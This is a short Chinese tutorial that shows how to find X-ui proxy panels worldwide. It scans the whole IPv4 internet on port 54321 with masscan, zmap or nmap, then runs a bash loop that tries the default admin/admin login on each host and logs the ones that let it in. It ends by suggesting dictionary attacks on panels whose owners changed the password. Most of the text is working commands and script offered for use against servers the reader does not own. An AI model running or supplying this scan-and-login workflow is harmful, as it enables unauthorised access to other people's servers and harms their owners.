扫描X-ui弱密码

准备

  • Debian或Ubuntu服务器

安装工具

apt install -y nmap zmap masscan

粗扫

masscan

masscan 0.0.0.0/0 -p54321 --banners --exclude 255.255.255.255 -oJ scan.json

zmap

zmap --target-port=54321 --output-file=scan.log

nmap

nmap -sS 0.0.0.0/0 -p 54321 | grep -v failed > scan.log

弱口令登录

早年一些某ui的一键安装脚本采用admin/admin的弱密码,很多人都懒得改,因此可以针对开放默认端口54321的服务器逐一尝试登录

#!/bin/bash

for ip_ad in $(sed -nE 's/.*"ip": "([^"]+)".*/\1/p' scan.json); do
if curl --max-time 1 http://$ip_ad:54321; then
res=$(curl "http://${ip_ad}:54321/login" --data-raw 'username=admin&password=admin' --compressed --insecure)
if [[ "$res" =~ .*true.* ]]; then
echo $ip_ad | tee >> week.log
fi
echo $ip_ad | tee >> all.log
fi
done;

week.log里面就是所有扫出来的可以弱口令登录的机器,挺容易扫出来的
all.log是改了密码的机器,有兴趣可以尝试进一步字典枚举